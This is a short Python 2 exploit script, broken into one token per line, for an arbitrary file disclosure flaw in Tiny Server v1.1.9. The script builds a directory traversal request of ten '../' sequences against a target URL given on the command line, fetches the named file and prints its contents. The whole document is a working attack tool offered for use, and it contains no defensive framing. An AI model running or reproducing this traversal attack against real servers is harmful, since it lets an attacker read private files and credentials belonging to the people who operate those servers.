# -*- coding: utf-8 -*-
import
urllib2
import
sys
#Tiny Server v1.1.9 Arbitrary File Disclosure Exploit
def
banner():
print
"\033[1m\033[92mTiny Server v1.1.9 Arbitrary File Disclosure Exploit"
print
"Exploit Write by Yahya Tanisik"
print
"Contact : yahyatnsk@gmail.com"
if
(
len
(sys.argv)
=
=
3
):
banner()
print
"\n"
aragazi
=
'../'
*
10
baglanti
=
urllib2.Request(
str
(sys.argv[
1
])
+
"/"
+
aragazi
+
""
+
str
(sys.argv[
2
]))
cikti
=
urllib2.urlopen(baglanti)
print
(
'#'
*
30
)
+
" File content "
+
(
'#'
*
30
)
print
cikti.read()
else
:
banner()